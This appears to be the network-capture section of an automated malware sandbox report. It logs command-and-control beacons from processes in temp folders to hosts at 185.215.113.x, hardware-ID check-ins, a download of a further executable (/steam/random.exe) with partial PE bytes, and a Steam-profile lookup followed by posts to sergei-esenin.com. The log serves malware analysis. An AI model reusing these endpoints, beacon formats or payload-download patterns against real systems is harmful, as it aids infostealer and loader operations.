1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 0b 50 12 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 64 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPELPg"dw@py@@@d\|@(u4@.text `.rdata@@.datalpH@.rsrc(@@@.relocuv@B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	50043	185.215.113.43	80	5436	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 18, 2024 15:04:53.457973003 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 18, 2024 15:04:54.364308119 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 18 Oct 2024 13:04:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	50044	185.215.113.37	80	6996	C:\Users\user\1000350002\6a8d4317d4.exe

Timestamp	Bytes transferred	Direction	Data
Oct 18, 2024 15:04:53.541203022 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 18, 2024 15:04:54.851555109 CEST	203	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:04:54 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 18, 2024 15:04:54.854665041 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHJDHDAECBGCAKEBAEBA Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 48 4a 44 48 44 41 45 43 42 47 43 41 4b 45 42 41 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 42 34 33 42 33 45 37 35 41 39 43 32 35 34 35 34 36 36 32 37 36 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 44 48 44 41 45 43 42 47 43 41 4b 45 42 41 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 44 48 44 41 45 43 42 47 43 41 4b 45 42 41 45 42 41 2d 2d 0d 0a Data Ascii: ------GHJDHDAECBGCAKEBAEBAContent-Disposition: form-data; name="hwid"AB43B3E75A9C2545466276------GHJDHDAECBGCAKEBAEBAContent-Disposition: form-data; name="build"doma------GHJDHDAECBGCAKEBAEBA--
Oct 18, 2024 15:04:55.160870075 CEST	210	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:04:54 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	50046	185.215.113.43	80	5436	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 18, 2024 15:04:55.930393934 CEST	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 42 37 34 42 30 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12B74B05F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 18, 2024 15:04:56.831028938 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 18 Oct 2024 13:04:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	50048	185.215.113.43	80	5436	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 18, 2024 15:04:58.596450090 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 18, 2024 15:04:59.498142958 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 18 Oct 2024 13:04:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	50049	185.215.113.37	80	2716	C:\Users\user\AppData\Local\Temp\1000401001\num.exe

Timestamp	Bytes transferred	Direction	Data
Oct 18, 2024 15:04:59.311810970 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 18, 2024 15:05:00.200074911 CEST	203	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:05:00 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 18, 2024 15:05:00.258970022 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFIIJJJDGCBAAKFIIECG Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 49 49 4a 4a 4a 44 47 43 42 41 41 4b 46 49 49 45 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 42 34 33 42 33 45 37 35 41 39 43 32 35 34 35 34 36 36 32 37 36 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 49 4a 4a 4a 44 47 43 42 41 41 4b 46 49 49 45 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 49 4a 4a 4a 44 47 43 42 41 41 4b 46 49 49 45 43 47 2d 2d 0d 0a Data Ascii: ------KFIIJJJDGCBAAKFIIECGContent-Disposition: form-data; name="hwid"AB43B3E75A9C2545466276------KFIIJJJDGCBAAKFIIECGContent-Disposition: form-data; name="build"doma------KFIIJJJDGCBAAKFIIECG--
Oct 18, 2024 15:05:00.543612003 CEST	210	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:05:00 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	50051	185.215.113.43	80	5436	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 18, 2024 15:05:01.074660063 CEST	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 42 37 34 42 30 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12B74B05F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 18, 2024 15:05:02.009185076 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 18 Oct 2024 13:05:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	50052	185.215.113.103	80	6376	C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe

Timestamp	Bytes transferred	Direction	Data
Oct 18, 2024 15:05:01.183310986 CEST	206	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.103
Oct 18, 2024 15:05:02.097043991 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:05:01 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Fri, 18 Oct 2024 12:50:16 GMT ETag: "1cb800-624bfbeaba684" Accept-Ranges: bytes Content-Length: 1882112 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 50 6b 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 80 6b 00 00 04 00 00 6d 97 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$CXmYpy`\nRichPELJf$Pk@km@P%d% %(@.rsrc %8@.idata %8@ +%:@nsvghvat`PV<@rciruuiw@k@.taggant0Pk"@
Oct 18, 2024 15:05:02.097055912 CEST	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 18, 2024 15:05:02.097071886 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 18, 2024 15:05:02.097083092 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 18, 2024 15:05:02.097094059 CEST	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 18, 2024 15:05:02.097165108 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 18, 2024 15:05:02.097176075 CEST	1236	IN	Data Raw: 03 f4 c8 d6 03 f4 c8 da 03 f4 c8 de 03 f4 c8 e2 03 f4 c8 e6 03 f4 c8 ea 03 f4 c8 ee 03 f4 c8 f2 03 f6 25 df 78 21 81 7b 39 58 e6 ef d7 d8 39 7f 20 dc 18 5b 4d d9 08 c1 fd de 83 b5 8c a4 82 1c 15 ef 2f 63 f6 4c 05 c1 20 33 8c 62 e4 4c cd 2f 6a 3c Data Ascii: %x!{9X9 [M/cL 3bL/j<pzHuJW#r>HF405xSyfod2(>uWV'%R\gG@0ZOBL)H%VbWbfe4_>@M>F,M
Oct 18, 2024 15:05:02.097239017 CEST	1236	IN	Data Raw: 0c cc 47 b9 f2 0d a8 7e 37 5c f3 7f 89 e3 62 89 07 9d bf 5c 59 09 11 52 14 12 f7 f0 0a c4 aa 4c b6 c8 87 22 f4 f8 68 00 93 30 83 fb 6a 3d 39 be 0b 45 d8 8c 35 7d 5f 87 a1 28 c4 3a 9d d3 0c 83 2e 27 bb a5 03 7d 59 b2 ff 2a 72 d9 98 d7 83 14 f9 76 Data Ascii: G~7\b\YRL"h0j=9E5}_(:.'}Yrv#kD]4v?;&3k(k:$\|q+Iz>rRNwC (%<d==Tn:L{uAP .E9
Oct 18, 2024 15:05:02.097256899 CEST	336	IN	Data Raw: 43 f6 c7 02 16 50 fb c1 cf e1 2f 96 1d 71 7f 93 ac 00 31 ed d8 a8 e9 ca bc d5 43 ff 43 5d b3 b6 bf dd 4f 8b e0 44 ff 5e 49 94 b6 6a 9d d5 7f 9e 85 2b 93 96 8f 97 7f 9a 20 50 a3 93 1f 12 09 07 5f 65 af fe 15 04 99 b7 34 44 1b 14 3c 50 cf 93 76 40 Data Ascii: CP/q1CC]OD^Ij+ P_e4D<Pv@j$,\|D_I&Z"p+dfOHDWX!hHC\] ?{@;COoV!O+r0
Oct 18, 2024 15:05:02.097268105 CEST	1236	IN	Data Raw: 15 f4 fb c1 c8 d2 1f 1f 2f a4 bf fe 15 1c 99 2d 38 a8 6d 8a 1d e3 97 93 43 56 ee c8 a1 ee a5 a1 0e c0 90 fb 73 96 a9 be a4 de 2f 8e d8 2e 6b 47 9a 0c 3f 94 d8 40 be c9 12 c0 1d ad cb ac 06 94 c4 e4 08 b1 c7 3c 28 ae 24 82 9c ba 04 d5 94 5f 71 c5 Data Ascii: /-8mCVs/.kG?@<($_qL>{N]>3{I8`0+0?)bDc0 P<@*QS+\J 3$R[m}`F5X{FL9
Oct 18, 2024 15:05:02.102051973 CEST	1236	IN	Data Raw: 64 e8 3f 94 04 d4 af 0a c0 5e 17 a1 21 20 bb b2 6c 5d 90 24 1a b6 c8 6f 91 54 90 9b a4 cd 08 44 25 02 d6 ca b4 d5 43 ff 43 34 9c 22 63 17 c7 5a 16 ac fb c1 5b 38 2a ff 8c f5 14 dd 4f 02 90 ea 40 61 8f 1c de c0 90 a6 1e e9 b2 44 a1 a2 0e cb 44 d5 Data Ascii: d?^! l]$oTD%CC4"cZ[8O@aDDCV@u\\lL@=RJAtPWh/Mz.=,l\W3lB':DLx>ad?gn'\|I1T'

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49823	104.102.49.254	443	5744	C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:04:14 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-10-18 13:04:14 UTC	1891	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://ste [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Fri, 18 Oct 2024 13:04:14 GMT Content-Length: 34508 Connection: close Set-Cookie: sessionid=b06620d34975df90cb4ac790; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7Cd883ccb3237fa39d2837163d0f38217b; Path=/; Secure; HttpOnly; SameSite=None
2024-10-18 13:04:14 UTC	14493	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-10-18 13:04:14 UTC	16384	IN	Data Raw: 65 74 59 27 3a 2d 36 2c 20 27 6f 66 66 73 65 74 58 27 3a 20 31 2c 20 27 68 6f 72 69 7a 6f 6e 74 61 6c 53 6e 61 70 27 3a 20 34 2c 20 27 74 6f 6f 6c 74 69 70 50 61 72 65 6e 74 27 3a 20 27 23 67 6c 6f 62 61 6c 5f 68 65 61 64 65 72 20 2e 73 75 70 65 72 6e 61 76 5f 63 6f 6e 74 61 69 6e 65 72 27 2c 20 27 63 6f 72 72 65 63 74 46 6f 72 53 63 72 65 65 6e 53 69 7a 65 27 3a 20 66 61 6c 73 65 7d 29 3b 0d 0a 09 09 7d 29 3b 0d 0a 09 3c 2f 73 63 72 69 70 74 3e 0d 0a 0d 0a 09 09 3c 64 69 76 20 69 64 3d 22 67 6c 6f 62 61 6c 5f 61 63 74 69 6f 6e 73 22 3e 0d 0a 09 09 09 3c 64 69 76 20 72 6f 6c 65 3d 22 6e 61 76 69 67 61 74 69 6f 6e 22 20 69 64 3d 22 67 6c 6f 62 61 6c 5f 61 63 74 69 6f 6e 5f 6d 65 6e 75 22 20 61 72 69 61 2d 6c 61 62 65 6c 3d 22 41 63 63 6f 75 6e 74 20 4d 65 Data Ascii: etY':-6, 'offsetX': 1, 'horizontalSnap': 4, 'tooltipParent': '#global_header .supernav_container', 'correctForScreenSize': false});});</script><div id="global_actions"><div role="navigation" id="global_action_menu" aria-label="Account Me
2024-10-18 13:04:14 UTC	3631	IN	Data Raw: 79 27 5d 20 29 3b 20 7d 20 29 3b 20 3c 2f 73 63 72 69 70 74 3e 0d 0a 09 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 0d 0a 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 3c 2f 64 69 76 3e 0d 0a 09 3c 2f 64 69 76 3e 0d 0a 3c 2f 64 69 76 3e 0d 0a 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 63 6f 6e 74 65 6e 74 20 22 3e 0d 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 63 6f 6e 74 65 6e 74 5f 69 6e 6e 65 72 22 3e 0d 0a 09 09 09 0d 0a 09 09 09 0d 0a 0d 0a 09 09 09 0d 0a 09 09 09 0d 0a 0d 0a 0d 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 72 69 67 68 74 63 6f 6c 22 3e 0d 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 65 73 70 6f 6e 73 69 76 65 5f 73 74 61 74 75 73 5f 69 6e 66 6f 22 3e 0d 0a Data Ascii: y'] ); } ); </script></div></div></div></div></div><div class="profile_content "><div class="profile_content_inner"><div class="profile_rightcol"><div class="responsive_status_info">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49833	104.21.53.8	443	5744	C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:04:15 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: sergei-esenin.com
2024-10-18 13:04:15 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-18 13:04:15 UTC	564	IN	HTTP/1.1 403 Forbidden Date: Fri, 18 Oct 2024 13:04:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bEtFHJAqb1J3Ot98KL%2Fqoqp4JoFHK5uNhw7vjnCOZ%2Fc6ZWqAfDxVFQAOGi2LaAFVoGExOFm%2FibYw9s8PlhiSk1m2IrMgq%2F4QSt2oSw634D9X7v3Hhnvex%2FmAgVxbkRf91XbOjg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d48bbb1fd266b77-DFW
2024-10-18 13:04:15 UTC	805	IN	Data Raw: 31 31 35 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1154<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2024-10-18 13:04:15 UTC	1369	IN	Data Raw: 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 29 20 7b 0a 20 20 20 20 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 76 61 72 20 63 6f 6f 6b 69 65 45 6c 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d Data Ascii: n-cgi/styles/cf.errors.ie.css" 